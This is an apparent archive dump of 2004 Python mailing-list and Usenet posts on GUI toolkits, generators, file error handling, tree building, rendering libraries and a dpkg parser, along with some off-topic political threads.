> On Mon, 6 Sep 2004 23:55:28 +0100, "Alan J. Flavell"
> <flavell at ph.gla.ac.uk> wrote:
> 
> >On Tue, 7 Sep 2004, John Thingstad wrote:
> >
> >> It was the realization of www (CERN) that spawned the movement toward the
> >> Internet.
> >
> >Eh?
> 
> http://www.hitmill.com/internet/web_history.asp

> Or rather the history of Tim Berners-Lee.

Try http://www.w3.org/History.html

I'm sorry - I didn't really mean to trap anyone into trying to
teach Great-Uncle Alan how to suck eggs.

It's just that those of us who had /some/ contact with the original 
developments (and mine was fairly tenuous, I confess) would have told 
the story of the development of the /Internet/ quite differently. But 
I leave that to other "old farts" who are already posting their 
versions ;-)

I've no disagreement that the availability of a graphical web browser 
was -one- of the driving forces towards wider access to and 
commercialisation of the Internet.  But that didn't emerge on any kind 
of scale until 1994-ish and later.   

"Eternal September" dates from 1993.  To toss just another data point 
into the ring.

From maney at two14.net  Sat Sep 18 18:07:14 2004
From: maney at two14.net (Martin Maney)
Date: Sat, 18 Sep 2004 17:07:14 -0500
Subject: So I guess PyUI is long abandonded? What else is there?
In-Reply-To: <864d3709040918140135a95917@mail.gmail.com>
References: <cihu17$c4b$1@wheel2.two14.net>
	<864d3709040918140135a95917@mail.gmail.com>
Message-ID: <20040918220714.GA12502@furrr.two14.net>

On Sat, Sep 18, 2004 at 06:01:13PM -0300, Carlos Ribeiro wrote: 
> I've checked PyUI right now, and it seems that there is a release
> numbered "1.0" - which is a sign that it must have reached a somewhat
> stable stage. The win32 ZIP file that I've downloaded does not
> contain any windows specific dll, pyd or exe file, but only pure
> Python code.

Yes, as an already-installed tree with the files compiled - well, that
explains the 1.0.Py2-2 versioning in the name.

Anyway, I've found the problem buried in a feature request at the
project's sourceforge site.  In his own words:

  The OpenGL renderer on 0.95 depends on WGL which is available only on
  Windows implementations. Support for other platforms such as Mac and
  Linux would be nice.

Since the project description claims it, yeah, that sure would be nice. 
This perfectly explains the errors I've been seeing.  Thanks, Carlos,
you stirred me to dig deeper and put the nail in it - it's another case
of "Microsoft compatibility" leading another poor fool astray.

This truly does help.  Now I can stop wondering whether it was
something I was doing wrong and walk away from this waste of time. 
Would some god-like person with access please make a note of this on
the uneditable PyUi page on the wiki?  Then there'd be at least a
chance others could avoid wasting their time.

Thanks!

-- 
Microsoft, which used to say all the time that the software business
was ruthlessly competitive, is now matched against a competitor whose
model of production and distribution is so much better that Microsoft
stands no chance of prevailing in the long run. They're simply trying
to scare people out of dealing with a competitor they can't buy,
can't intimidate and can't stop. -- Eben Moglen



From jmfbahciv at aol.com  Mon Sep 13 06:39:16 2004
From: jmfbahciv at aol.com (jmfbahciv at aol.com)
Date: Mon, 13 Sep 04 10:39:16 GMT
Subject: Xah Lee's Unixism
References: <413f03cc$0$6914$61fed72c@news.rcn.com>
	<413F43AC.9D2088AF@yahoo.com> <chntno$ku1$1@grandcanyon.binc.net>
	<10juvnrt88k4868@corp.supernews.com>
	<414069c6$0$6912$61fed72c@news.rcn.com>
	<opsd2vlvy7pqzri1@mjolner.upc.no>
	<1549.748T655T9283520@kltpzyxm.invalid>
	<3fh3k0tnumgcvdd89h8jbbnc2j92t97i76@4ax.com>
	<4141c830$0$65574$a1866201@newsreader.visi.com>
	<41444b6a$0$6932$61fed72c@news.rcn.com> <87zn3v7ekc.fsf@p4.internal>
	<41446336$0$6925$61fed72c@news.rcn.com> <87pt4r771o.fsf@p4.internal>
Message-ID: <41458c14$0$2648$61fed72c@news.rcn.com>

In article <87pt4r771o.fsf at p4.internal>,
   Bulent Murtezaoglu <bm at acm.org> wrote:
>>>>>> "jmf" == jmfbahciv  <jmfbahciv at aol.com> writes:
>[...]
>    jmf> Would rather he do like Italy?  They are letting them go.
>    jmf> Then these released people go blow up something else. [...]
>    bm> Why are those the only two choices?  Do you think people turn
>    bm> into bomb-wielding terrorists by feat of mere suspicion?
>
>    jmf> Oh, sigh!  [emoticon begins to hit head against wall because
>    jmf> it feels better]
>
>I didn't mean to upset you.  But sigh indeed.

<GRIN>  I'm about to sigh back at you.

> ..  Offtopic in all groups 
>too.  

I don't know where you are so I can't trim newsgroups.  I'm in a.f.c.

> ..Maybe we should get jailed?  Who knows _what else_ we might be 
>up to?  Can't be too cautious these days.  What color was that alert 
>now?  Better call the authorities.
>
>    bm> I don't think the US abuses the 'enemy combatant' device as
>    bm> much as we fear, yet.
>
>    jmf> Hint..the US isn't abusing enemy combatants.
>
>Um, I said 'the enemy combatant device' not the people themselves.
>There's no doubt that the people themselves are being abused.  That's
>the whole point of a separate status, no?  I thought the 'enemy
>combatant' designation was devised to go around both the US law, 

Sigh!  US law doesn't apply in Afghanistan nor any other country.

> ...and
>the Geneva Convention pertaining to POWs. 

What people are not getting treated using the Geneva Convetion
terms?

> ... As for the _US_ doing it, 
>yes you are correct, the nation itself isn't doing it.  Indeed the 
>whole reason for the invention of this odd locution was the thought 
>that the nation would have expected its gov't to at least appear 
>to stay within certain boundaries.  Maybe they needen't have bothered?  
> 
>    >> ...  But if the people in the US are convinced that the choice
>    >> is between getting blown up and secret detentions w/o judicial
>    >> oversight then it will get far worse than we fear. [...]
>
>    jmf> WHAT SECRET DETENTIONS?
> 
>Responding in "hints" and ALL CAPS brings us to the ludicrous situation
>where a Turk gets to give a pointer to the ACLU to an American:
>
>http://www.aclu.org/SafeandFree/SafeandFree.cfm?ID=13079&c=207

I'm not going to be able to get out to read that one.  Just
mentioning the ACLU gives me the bias that you're listening
with a BS filter.  ACLU has gone bonkers in that they've
become completely inconsist these days.
>
>;) 
>
>cheers,
>
>BM
>
>
>    >> I am beginning to think the US gov't and populace alike might
>    >> be believing the "they hate us for our freedoms" line and
>    >> trying to get rid of the said freedoms in the hope that it will
>    >> appease the terrorists.
>
>    jmf> Now there you actually made a point, but not the one you
>    jmf> think you did.
>
>Let's hear it. 

The ACLU types that you're listening to are giving away our 
(the US) freedoms to people who don't want us to have them. 
IOW, these liberal types are working in concert with these
militants.

<snip...I hate the way your software prefixes these posts>

/BAH


From narshe at gmail.com  Sat Sep 25 17:59:12 2004
From: narshe at gmail.com (Josh Close)
Date: Sat, 25 Sep 2004 16:59:12 -0500
Subject: Python and Sybase
In-Reply-To: <1gkopls.g4hts41uwsqauN%aleaxit@yahoo.com>
References: <wVE4d.53$26.20@llslave.llan.ll.mit.edu>
	<mailman.3815.1095972439.5135.python-list@python.org>
	<1gkn9go.1d3dgwh4edmdrN%aleaxit@yahoo.com>
	<mailman.3905.1096130202.5135.python-list@python.org>
	<1gkopls.g4hts41uwsqauN%aleaxit@yahoo.com>
Message-ID: <4a0cafe2040925145927c8acbf@mail.gmail.com>

On Sat, 25 Sep 2004 19:47:24 +0200, Alex Martelli <aleaxit at yahoo.com> wrote:

> No support for parameters?!  Talk about junk...!-(
> 
> Alex

Well put!

-Josh


From davebrok at soda.csua.berkeley.edu  Mon Sep 13 23:12:07 2004
From: davebrok at soda.csua.berkeley.edu (David Pokorny)
Date: Mon, 13 Sep 2004 20:12:07 -0700
Subject: Greenlets: where are they now???
References: <foadnUs_VtNpFdncRVn-jQ@lmi.net>
	<x6SdnVJ8pp4xC9ncRVn-rQ@powergate.ca>
	<ZaCdnQBXf-iU2djcRVn-hA@lmi.net>
	<29Cdnar3ZOqUFtjcRVn-pg@powergate.ca>
Message-ID: <BqqdnY4Yhf-d_9vcRVn-sw@lmi.net>


"Peter Hansen" <peter at engcorp.com> wrote in message
news:29Cdnar3ZOqUFtjcRVn-pg at powergate.ca...
> > Greenlets are about 90% of a solution (which I've thought hard about) to
the
> > problem of interrupting an execution after 50 byte-code, while retaining
the
> > ability to resume the execution (for, say, another 50 byte codes).
>
> Python's regular threads already allow this, so there must be
> something more to it.

I haven't the faintest idea how to gain fine control over threads. In
particular, suppose I have 10 of these "executions" going (lets call them
"steplets") and I want to run each of them for 50 byte-codes, then switch
back to the controlling thread and do lots of bookkeeping (I don't control
the code that the steplets run). I also have a bunch of other processes that
I don't want to take part in this "cycle rationing" but rather run as honest
threads.

David




From martin at v.loewis.de  Wed Sep  8 14:18:39 2004
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Wed, 08 Sep 2004 20:18:39 +0200
Subject: %a format
In-Reply-To: <16703.9151.854368.874866@montanaro.dyndns.org>
References: <20040907182925.GA27643@grulic.org.ar>
	<16702.1779.773067.819528@montanaro.dyndns.org>
	<20040908130837.GB4749@grulic.org.ar>
	<16703.9151.854368.874866@montanaro.dyndns.org>
Message-ID: <413F4CFF.4030908@v.loewis.de>

Skip Montanaro wrote:
>     >> Can you provide a patch against Objects/stringobject.c in the
>     >> distribution?  Note that Python uses sprintf() to do its dirty work,
>     >> so any patch would have to implement %a itself to remain compatible
>     >> with C89.
> 
>     John> is remaining compatible with C89 a requirement?
> 
> For the forseeable future I suspect so.  It was only a couple years ago that
> ANSI C became a requirement for building CPython.  Martin v. L?wis could
> provide a more authoritative response.

Indeed, we can't assume C99 for atleast 5 more years or so - for
example, VC.NET doesn't even implement it, even though that was
published 2003 (curiously, they cite "time constraints" as a reason :-);
whether they implement %a anyway, I don't know.

For the specific feature, I think a non-libc implementation would be
possible, since Python uses IEEE representation for floating point
numbers on most platforms (although atleast the VMS port doesn't
necessarily). Whether it is reasonable to implement this by mere
bit copying is a question that Tim Peters should answer :-)

Whatever the strategy, I think it should either work on all possible
systems, or on the majority and give an exception elsewhere.

Regards,
Martin



From hjwidmaier at web.de  Thu Sep 30 12:40:13 2004
From: hjwidmaier at web.de (Hans-Joachim Widmaier)
Date: Thu, 30 Sep 2004 18:40:13 +0200
Subject: File handling: The easy and the hard way
References: <pan.2004.09.30.13.56.48.18412@web.de>
	<_WU6d.1785$TY2.1104@lakeread04>
Message-ID: <pan.2004.09.30.16.40.12.209964@web.de>

Am Thu, 30 Sep 2004 10:37:49 -0400 schrieb Steve Holden:


> I agree we really shouldn't expect users to have to see tracebacks, but 
> that doesn't mean that exception handling has to be sophisticated.
> 
> Here's something I'd consider acceptable, which doesn't add hugely to 
> the programming overhead for multiple files but doesn't burden the user 
> with horrible tracebacks. I've used it to print itself, so you see how 
> it works and what it contains all in the same output:
> 
> sholden at DELLBOY ~
> $ ./ft.py one.py ft.py
> Problem handling file one.py : [Errno 2] No such file or directory: 'one.py'

Yes, this should be acceptable for the simple scripts I mentioned.

> #!/usr/bin/python
> #
> # ft.py: simple multi-file processor with error handling # import sys
> 
> files = sys.argv[1:]
> 
> for f in files:
>      try:
>          for l in file(f):
>              sys.stdout.write(l)
>      except Exception, reason:
>          print >> sys.stderr, "Problem handling file", f, ":", reason

Looks very familiar, but doesn't handle '-' (stdin) (but that's another
story, albeit somewhat related). ;-)

> I'm quite happy to let the process-termination housekeeping code, or
> perhaps (in some implementations) the Python housekeeping at garbage
> collection, close the file, which you might think is unduly sloppy. What
> can I say, the user pays if they don't want sloppy :-). But I'd consider
> this sufficiently close to "production quality" to be delivered to
> end-users. Clearly you can add file assignment to a variable and a
> try/finally to ensure it's closed. You gets what you pays for.

I often do that, too. But every time I do it, I feel guilty. (I did my
first somewhat more serious programming on an Amiga, where the OS did
_not_ clean up after you - which formed a habit of religiously keeping
track of and freeing each and every resource in each and every case.)

> Well, the more complex your processing gets the more complex your
> error-handling gets too,

This doesn't come as a surprise. :-) Yet I can see a class of basically
simple programs that are nonetheless meant to be of "production quality"
and where _most_ of the complexity stems from handling these errors.

> but I'd say you should look at some serious refactoring here - you
> appear to have what's sometimes called a "code smell" in extreme
> programming circles. See
>
>      http://c2.com/cgi/wiki/?CodeSmell

Never heard of that before. ;-) Anyway, maybe my understanding of
'refactoring' is wrong, but isn't my desire to 'factor out' the error
handling so I can make it rigid/good and reusable (a good incentive for
me!) what might be called refactoring? Cluttering every script with always
the same error handling pattern, well, does have a smell to me. These
things are just too common to not being solved once and hidden in, e.g.,
a module.


> The problem that any such approach is likely to have can be summed up as
> "If processing is complicated then error-handling may also become
> complicated, and error-recovery even more so". You shouldn't expect it
> to be too simple, but if it's too complex then you might find that a
> restructuring of your program will yield better results.

I do not think it'd be too simple. I think I can (mostly) cope with the
complexity. I'm disappointed because I haven't yet found a nice solution
where I can _hide_ this complexity and do not have to slap it in every
file that starts with '#!/usr/bin/env python'. Still dreaming of a File
object that does all this, maybe with a helper module "fileerrhandler".
Granted, the name is ugly. ;-)

["The Mythical Man-Month"]

> The combination of all three components is to be found in beasts
> sometimes known as "software engineers", frequently held by some to be
> mythical.

Now this is a title that can never be applied to me. I'm basically a
hardware designer, mostly writing embedded programs and doing system
administration by now. And I must admit that I never really *learned*
programming. I'm not in the same league as most others here, so I'm always
uncertain whether my gut feeling (nose tingling?) is correct or totally
off track.

> If I were feeling cynical, I might sum this up by saying "Python is a
> programming language, not a f***ing magic wand". But that won't stop
> people from looking for the silver bullet that solves all their problems
> in a songle line of code.

I daresay that if 'sprintf()', 'gets()' and the like never existed, there
would be a lot less CERT advisories. Or, if a file type enforces sane
error handling, there would be less tracebacks. :-)

> Hope this helps, and doesn't come across as critical. Your questions are
> reasonable, and show a sincere appreciation of the difficulties of
> producing high-quality software. And we don't ever want anything else,
> do we?

I'm very grateful for your detailed reply. clp always strikes me as being
a place where you don't get smart-ass replies but elaborate answers that
sometimes look like articles in a classy magazine.

Thank you very much for your time and suggestions,
Hans-Joachim


From cbfalconer at yahoo.com  Thu Sep 16 11:51:05 2004
From: cbfalconer at yahoo.com (CBFalconer)
Date: Thu, 16 Sep 2004 15:51:05 GMT
Subject: Xah Lee's Unixism
References: <413f03cc$0$6914$61fed72c@news.rcn.com>
	<413F43AC.9D2088AF@yahoo.com> <chntno$ku1$1@grandcanyon.binc.net>
	<10juvnrt88k4868@corp.supernews.com>
	<414069c6$0$6912$61fed72c@news.rcn.com>
	<opsd2vlvy7pqzri1@mjolner.upc.no>
	<1549.748T655T9283520@kltpzyxm.invalid>
	<3fh3k0tnumgcvdd89h8jbbnc2j92t97i76@4ax.com>
	<4141c830$0$65574$a1866201@newsreader.visi.com>
	<chsu8b$ujb$1@grandcanyon.binc.net>
	<Eeo0d.18563$Qx2.9439@newssvr29.news.prodigy.com>
	<ci4gs0$23p$1@grandcanyon.binc.net> <m3pt4qc57f.fsf@europa.pienet>
	<ci707n$miq$1@grandcanyon.binc.net> <m3ekl4wk35.fsf@europa.pienet>
	<ci9j6q$c4h$1@grandcanyon.binc.net>
Message-ID: <4149B516.17F7F078@yahoo.com>

Chuck Dillon wrote:
> 
... snip ...
> 
> Going into Iraq was IMHO justified without consideration of 9/11
> or the war on terror.  Setting up a more democratic and educated
> Afghanistan and Iraq blows a big whole in Islam's isolation
> efforts and forces them to deal with the reality of the 21st
> century.  The process will be bumpy but we can no longer be
> patient when the mainstream of Islam allow violence on the scale
> of 9/11 or beyond to occur.

I disagree.  Afghanistan, yes.  Chasing Bin Laden, yes.  They were
the direct cause of 9/11 (which was not a unique occurance, except
in degree).  Iraq, no.  That was the descendent of "avenge
disrespect to Daddy" syndrome, and has been shown to have no
connection with either 9/11 nor with WMDs.  

The whole business has effectively ended the punishment phase of
9/11 and justified it in the minds of many Moslems.  For a short
while there was an opportunity to do an exemplary job in
Afghanistan and show the Islamic world the possibilities.  That
has been thrown away by our Glorious Inept Leaders.

-- 
 "This is a wonderful answer. It's off-topic, it's incorrect,
  and it doesn't answer the question."  --  Richard Heathfield

 "I support the Red Sox and any team that beats the Yankees"



From danperl at rogers.com  Sun Sep 26 15:47:13 2004
From: danperl at rogers.com (Dan Perl)
Date: Sun, 26 Sep 2004 15:47:13 -0400
Subject: convert flat structure into hierarchical one
References: <mailman.3941.1096224597.5135.python-list@python.org>
Message-ID: <ELWdnTnBOMlegcrcRVn-gg@rogers.com>

I started writing a script that would implement a solution to your problem, 
but it turned out that it is not so trivial.  You have all kind of issues, 
depending on whether your structure is sparse or not, and what especially 
made me give up (I may still try it later, but right now I don't have the 
time) is that you may retrieve a child before its parent, so either you 
create a dummy that you update later, or you recursively retrieve all the 
ancestors in the tree up to the root of the tree.

Here is my suggestion in brief, though.  Implement a class for the tree and 
a class for the tree nodes.  The 'tree' class keeps a list of instances of 
the 'tree node' class.  Depending on the sparsity of the tree, you can have 
a list indexed by the id's of the nodes (with None for empty spaces), or an 
arbitrary list and you do the search for the node in the list that has the 
particular id.

The 'tree node' class would have 4 attributes: id, name, parent_id, and 
children.  'children' would be a list.  BTW, this attribute is not 
mandatory, but it is more efficient having it if it is rarely updated but 
often accessed.

The 'tree' class would also have a method 'addNode'.  In it, create a new 
instance of the 'tree node class', add it to the list in the tree and update 
the node matching the parent_id.  Here is where the complication come in. 
You may have to pad the list with 'None' and you may not yet have a node 
matching the parent in the 'tree' list.  Override the __getitem__ method in 
the 'tree' class to retrieve the node based on its id.

Hope this helps.

Dan

"Ksenia Marasanova" <ksenia at ksenia.nl> wrote in message 
news:mailman.3941.1096224597.5135.python-list at python.org...
>I get this kind of list from a database. (The tuple structure is: id, name, 
>parent_id)
>
> [(1, 'grandparent', None), (2, 'parent', 1), (3, 'otherparent', 1), (4, 
> 'child', 3)]
>
> I would like to transfer it (in Python) into a tree structure. I don't 
> care much about format, as long as I'll be able to get all the 
> information, based on one id. For example, if I have id=3, I want to get
> - name ('otherparent')
> - children (one child, with id=4, name='child')
> - parent id
>
> Any tips? Recipes? ;-)
>
>
> Thanks,
> Ksenia.
> 




From jdhunter at ace.bsd.uchicago.edu  Wed Sep 15 07:17:24 2004
From: jdhunter at ace.bsd.uchicago.edu (John Hunter)
Date: Wed, 15 Sep 2004 06:17:24 -0500
Subject: How should a drawing program render?
In-Reply-To: <2qpin5F12h2snU1@uni-berlin.de> (Leif K-Brooks's message of
	"Tue, 14 Sep 2004 21:07:48 -0400")
References: <2qpin5F12h2snU1@uni-berlin.de>
Message-ID: <m23c1j4w8r.fsf@mother.paradise.lost>

>>>>> "Leif" == Leif K-Brooks <eurleif at ecritters.biz> writes:

    Leif> I'm considering writing a fairly basic vector drawing
    Leif> program using PyGTK. What's the best way to render it? What
    Leif> I'm thinking of is having everything render on a PIL image,
    Leif> then display that in the GTK window or save it depending on
    Leif> what's being done. Is that the best strategy? Will it be
    Leif> fast enough?  --


The first obvious candidate of course is to use a gtk.Drawable,
ie native gtk drawing.

That is what I started with matplotlib and it does a respectable job,
and it is fast.  It does not support antialiased drawing, which is a
limitation, and is not natively vector based, which is another.  

The larger problem with this approach is your application may one day
grow beyond your initial plans and you may want to port it to other
GUIs.  At that point, it's easier to port if you used some GUI
independent buffer to draw into and simply blit the contents of that
buffer to your GUI canvas of choice.

matplotlib, inspired by the plotting package chaco, uses the antigrain
library (http://antigrain.com) for drawing to a buffer, and then this
buffer is transferred to the GUI canvas (wx, pygtk, fltk and tk
currently).  antigrain is a very powerful, modular, vector based c++
library for doing antialiased drawing, and supports most things you
would want in a 2d library: paths, even-odd filling, arbitrary
clipping, antialiasing, alpha, gamma and so on.  You can use
enthought's chaco package and matplotlib as examples if you want to go
this route - each takes a different approach to wrapping and using
antigrain.  matplotlib contains code to blit the antigrain buffer to
pygtk, and the other GUIs mentioned above.

Since antigrain is already vector based, it is a natural candidate to
support a vector graphics app, unlike the native gtk drawing model.
Also, you should look at wxart2d (http://wxart2d.sf.net), which uses
antigrain to develop a vector library for wx, much like what you are
proposing for gtk.

As for performance, on a modern pentium computer, I can draw and blit
to gtk about 50 frames per second using the gtk/agg matplotlib backend
for simple images.  For more complex graphics, eg if image resizing
and interpolation is involved, the rate is about 10fps for typical
window sizes.  YMMV.

Of course, if you are allergic to C++, this may not be your best
option.  

JDH


From jdc at uwo.ca  Thu Sep  2 23:50:09 2004
From: jdc at uwo.ca (Dan Christensen)
Date: Thu, 02 Sep 2004 23:50:09 -0400
Subject: Recursive Generator Question
References: <6543373d.0409021839.5caff11d@posting.google.com>
Message-ID: <87u0ug3tam.fsf@uwo.ca>

pchiusan at umich.edu (Paul Chiusano) writes:

> I've been playing around with generators and have run into a
> difficulty. Suppose I've defined a Node class like so:
>
> class Node:	
> 	def __init__(self, data=None, left=None, right=None):
> 		self.children = []
> 		self.children.append(left)
> 		self.children.append(right)
> 		self.data = data
> 	
> 	def __iter__(self): return self
> 			
> 	def next(self):
>         """ Returns iteration over terminal nodes of this tree. """
> 		if self.data:
> 			yield self
> 		else:
> 			for child in self.children:
> 				for terminal in child:
> 					yield terminal

If you are defining next yourself, you are defining an iterator, not a
generator, and you should use return statements, not yield statements.
But then you also need to keep track of where you are in the tree.
If you like to use a generator to save the state for you, one way
that works is the following.

class Node:     
    def __init__(self, data=None, left=None, right=None):
        self.children = []
        self.children.append(left)
        self.children.append(right)
        self.data = data
        
    def __iter__(self): 
        if self.data != None:
            yield self.data
        for child in self.children:
            if child != None:
                for terminal in child:
                    yield terminal

a = Node('a')
b = Node('b')
c = Node('c')
d = Node('d')
ab = Node(left=a, right=b)
cd = Node(left=c, right=d)
abcd = Node(left=ab, right=cd)

for termNodes in abcd:
    print termNodes

# Produces:
# 
# a
# b
# c
# d

Notes:

- __iter__ is a generator, so when called it returns an iterator
- No explicit next method
- termNodes.data changed to termNodes
- child != None checked

To the experts:  I don't recall seeing __iter__ be a generator like
this before.  How would you code it?

Dan


From mailtome200420032002 at yahoo.com  Thu Sep 16 11:54:16 2004
From: mailtome200420032002 at yahoo.com (john)
Date: 16 Sep 2004 08:54:16 -0700
Subject: How to go about developing in zope
Message-ID: <4c900ea0.0409160754.2158e732@posting.google.com>

Hi
I am developing a timesheet system.
It will have 3 levels of access 
1)Administrator
2)Approver -- Will approve or reject the timesheet filled by employees
3)Employees -- Fill in the timesheet which will ontain info like start
time & end for task & task description.
There will be different projects with different employees & approvers
Also I need to genrate reports like timesheet for an employee for this
particular week or month.Or timesheet of a project etc..

Is zope suitable for such kind of application?
I read the zope book & now I am more confused.
What is the best way to develop such kinda application in zope?


From fumanchu at amor.org  Thu Sep 23 02:23:07 2004
From: fumanchu at amor.org (Robert Brewer)
Date: Wed, 22 Sep 2004 23:23:07 -0700
Subject: newbie evaluation
Message-ID: <3A81C87DC164034AA4E2DDFE11D258E3022F03@exchange.hqamor.amorhq.net>

Ismael Herrera wrote:
> Hi , i am new to python , and this is my first wanna-be 
> program, it would
> help me a lot if you point me my mistakes or bad design, bad 
> practice or an
> easier , faster ,cleaner or better way to program since dont 
> want to stick
> with bad practices.

Off the cuff:

1. Read PEP 8 (http://www.python.org/peps/pep-0008.html) and follow its
recommendations regarding whitespace, if you can.

2. In the block:

>   def load(self):
>     
>     try :
>       
>       #open the database file   
>       f = open('/var/lib/dpkg/available','r')
>       
>     except : raise IOError

...why not just let any exception which open() raises propagate outward?
There is *very* rarely a need in Python to trap all exceptions with a
bare "except:" clause. If you just re-raise IOError, there's no point in
trapping at all.

3. (The biggie) Why use a class for dpackagedb instead of a function?
Below is a complete, minimally-tested version which uses a simple
state-machine function instead. It makes one pass over the data and is
probably quite a bit faster than the class-based version. I also dropped
the regex since we now iterate over each line one by one.

4. Even if you keep the class-based approach, you don't need the class
attributes like "PKG = 'Package'" -- they just mess up the namespace and
don't add any value. Use the actual field names instead. 

5. Do you really need all of those attributes (like "arquitecture") to
be "top-level" for the dpackage objects? I chose to put them in a
subclass of dict instead. The difference is that you would refer to
"dpackage().arquitecture" in your scheme and
"dpackage()['Architecture']" in mine. If you still want the non-English
terms, re-introduce a dict lookup when the field names are parsed.

6. When you want to remove the last item in a list, use list.pop().

7. My version is about half the length of yours (so stop putting blank
lines between every statement ;). Although a state machine might seem
more complex, it's actually easier to grasp at once since it all fits on
a single page of code (on my screen, anyway).

-----------

#!/usr/bin/python

fieldnames = ['Package', 'Priority', 'Section', 'Installed-Size',
              'Maintainer', 'Architecture', 'Source', 'Version',
              'Replaces', 'Depends', 'Conflicts', 'Size',
              'Description']


class dpackage(dict):
    """A package in the Debian 'available packages' database."""
    
    def __str__(self):
        return "\n".join(["%s = %s" % (k, self.get(k))
                          for k in fieldnames])


def all_packages():
    f = open('/var/lib/dpkg/available', 'r')
    
    db = []
    pkg = dpackage()
    desc = []
    
    for line in f:
        if line != "\n":
            if line.startswith('Description'):
                # Add the line to the description.
                # A non-empty 'desc' signals we are in the
                # description-gathering state.
                desc.append(line)
            else:
                if desc:
                    desc.append(line)
                else:
                    # Parse the line and add to the current package
                    k, v = line.split(":", 1)
                    v = v.strip()
                    if k in ('Depends', 'Recommends'):
                        pkg[k] = v.split(",")
                    else:
                        pkg[k] = v
        else:
            # Finalize the current package and store it
            if desc:
                pkg['Description'] = "".join(desc)
                desc = []
            if pkg:
                db.append(pkg)
                # Make a new, empty package object
                pkg = dpackage()
    
    f.close()
    
    # Not sure why you drop the last item,
    # but you must have a reason.
    db.pop()
    
    return db


if __name__ == '__main__':
    for x in all_packages():
        if x:
            print x

-----------

...and here's the test output:

>>> d = debpkg.all_packages()
>>> len(d)
10823
>>> print d[0]
Package = cl-infix
Priority = optional
Section = non-free/devel
Installed-Size = 64
Maintainer = Kevin M. Rosenberg <kmr at debian.org>
Architecture = all
Source = None
Version = 19960628.1-2
Replaces = None
Depends = ['common-lisp-controller (>= 3.37)']
Conflicts = None
Size = 15242
Description = Description: an infix reader macro for Common Lisp
 This package provides an infix reader macro for Common Lisp,
 allowing use of more
 traditional mathematical syntaxes in Common Lisp programs.


Hope that helps,


Robert Brewer
MIS
Amor Ministries
fumanchu at amor.org


From robin at wiretooth.com  Fri Sep  3 00:27:39 2004
From: robin at wiretooth.com (Robin Bryce)
Date: Fri, 03 Sep 2004 05:27:39 +0100
Subject: using generators for event handling in python. (simpler version)
In-Reply-To: <2eMZc.1265$ZS6.396@trndny07>
References: <mailman.2777.1094146412.5135.python-list@python.org>
	<2eMZc.1265$ZS6.396@trndny07>
Message-ID: <1094185659.7733.16.camel@localhost.localdomain>

I removed the generalised exception passing and just deal with values
and StopIteration now. fork is gone but the behaviour is not. I've
chopped down the discussion a lot and removed the twisted examples. Also
made an effort to make the source more readable.

I had a think about what I was doing and why. I think what I'm saying is
that I want to pass values into a generator and leave it to that
generator to decide how to update its local attributes (its state) if at
all. I definitely need to carefully re-read:

http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/164044


This is the version with the above changes.

http://www.wiretooth.com/python/eventhub/valuehub_recipe.html

Still trying to think of tighter example that sums everything up.

Thanks,

Robin Bryce

On Thu, 2004-09-02 at 22:26, Raymond Hettinger wrote:
> > I've been looking at generators from the context of event oriented web
> > application development. I was thinking of submitting a version of
> > http://www.wiretooth.com/eventhub_recipe.html as a recipe for the python
> > cookbook.
> 
> It's somewhat long for a recipe.  Do you have more compact code that conveys the
> essense of your approach?
> 
> 
> Raymond Hettinger
> 



From dperl at rogers.com  Wed Sep  1 12:01:30 2004
From: dperl at rogers.com (Dan Perl)
Date: Wed, 01 Sep 2004 16:01:30 GMT
Subject: initializing mutable class attributes
References: <J4zYc.102357$UTP.98636@twister01.bloor.is.net.cable.rogers.com><1gjc8cs.sqvo1v1fhabdjN%aleaxit@yahoo.com><eTHYc.205$yqJ1.68@news04.bloor.is.net.cable.rogers.com><1gje9dn.r6jpetyroi0N%aleaxit@yahoo.com><8JbZc.140699$UTP.23045@twister01.bloor.is.net.cable.rogers.com><1gjfkp7.aepmjg11ubf2rN%aleaxit@yahoo.com><iolZc.115894$pTn.53552@news01.bloor.is.net.cable.rogers.com>
	<m3n00aggxu.fsf@g2ctech.com>
Message-ID: <unmZc.157756$UTP.69766@twister01.bloor.is.net.cable.rogers.com>

My mistake.  You're right, and it's all because of the inheritance from
'object', which probably defines a default, empty, __init__.  I haven't made
a habit of subclassing from 'object' yet and I see that I'll have to do
that.  Thanks.

Dan

"Jorge Godoy" <godoy at ieee.org> wrote in message
news:m3n00aggxu.fsf at g2ctech.com...
> "Dan Perl" <dperl at rogers.com> writes:
>
> > Not in Python.  A user of my library has to invoke the parent's class
> > __init__ in their own __init__.  What happens if, in a future release, I
get
> > rid of the __init__ in the parent class?  Or the other way around.  An
early
> > release does not have a parent __init__, the users don't invoke it
because
> > they can't, and then, in a future release, I add the parent __init__
because
> > I added some attributes.  It breaks all the users' code.  This is poor
> > encapsulation.
>
>
> I'm getting in the middle of the discussion so forgive-me if this example
> doesn't apply here.
>
>
> >>> class test(object):
> ...     def test(self):
> ...             print "Just a test"
> ...
> >>> class derived(test):
> ...     def __init__(self):
> ...             test.__init__(self)
> ...     def showit(self):
> ...             self.test()
> ...
> >>> d = derived()
> >>> d.showit()
> Just a test
> >>>
>
> There was no "__init__" explicitly defined in 'test'.
>
>
> Be seeing you,
> -- 
> Godoy.     <godoy at ieee.org>




From joe at invalid.address  Thu Sep  2 10:51:27 2004
From: joe at invalid.address (joe at invalid.address)
Date: Thu, 02 Sep 2004 14:51:27 GMT
Subject: Xah Lee's Unixism
References: <slrncj1745.t5q.amajorel@atc5.vermine.org>
	<41337FC9.8070902@hotmail.com>
	<slrncj7hhh.2pt.amajorel@atc5.vermine.org>
	<p7v7j0plcfbden593l1irfprmfkp4d3k51@4ax.com>
	<slrncj8m5n.2pt.amajorel@atc5.vermine.org>
	<%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net>
	<du7k6vfnvx9.fsf@amadeus.cc.tut.fi> <4134AC88.56452265@yahoo.com>
	<aN2Zc.10226$QJ3.5466@newssvr21.news.prodigy.com>
	<4135cea1$0$19726$61fed72c@news.rcn.com>
	<%hmZc.17354$ni.569@okepread01> <m3vfeyc6mn.fsf@invalid.address>
	<41372e97$0$19727$61fed72c@news.rcn.com>
Message-ID: <m33c20d8r5.fsf@invalid.address>

jmfbahciv at aol.com writes:

> In article <m3vfeyc6mn.fsf at invalid.address>, joe at invalid.address wrote:
> >Steve Holden <sholden at holdenweb.com> writes:
> >
> >> jmfbahciv at aol.com wrote:
> >> 
